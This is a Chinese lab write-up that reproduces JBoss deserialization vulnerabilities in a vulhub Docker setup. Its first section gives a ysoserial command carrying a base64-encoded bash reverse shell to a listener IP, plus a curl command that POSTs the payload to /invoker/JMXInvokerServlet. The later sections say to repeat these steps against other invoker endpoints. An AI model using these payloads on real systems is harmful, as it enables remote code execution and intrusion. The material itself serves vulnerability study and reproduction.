中间件漏洞记录--5
jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080,9990
目录
一、JBoss JMXInvokerServlet 反序列化漏洞
3、 访问 /invoker/JMXInvokerServlet
二、 JBoss EJBInvokerServlet 反序列化漏洞
三、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
四、JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
一、JBoss JMXInvokerServlet 反序列化漏洞
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
1、环境搭建:docker + vulhub
cd vulhub/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
2、访问,搭建成功
3、 访问 /invoker/JMXInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞。
4、本来想用工具,结果一堆乱码,看不懂
5、配置安装ysoserial
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
在执行最后一步时,如果出现bash: mvn: command not found的问题,是因为kali未安装maven时出错的话,参考下面这个
kali安装maven和jdk、解决:bash: mvn: command not found_召唤大白的博客-CSDN博客
安装了五个小时,总算是成功了
6、开始攻击
1> base64加密
2> 生成exp.ser
看好路径
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyOS4yMjUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} " >exp.ser
3> 使用POST将其传过去
curl http://192.168.129.129:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
4> 提前监听,getshell
二、 JBoss EJBInvokerServlet 反序列化漏洞
访问 /invoker/EJBInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞
复现同上
三、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
访问 /invoker/readonly
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化:
复现就同上,都是经典的java反序列化操作
四、JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
该漏洞出现在/jbossmq-httpil/HTTPServerILServlet
请求中,我们借助ysoserial,同一。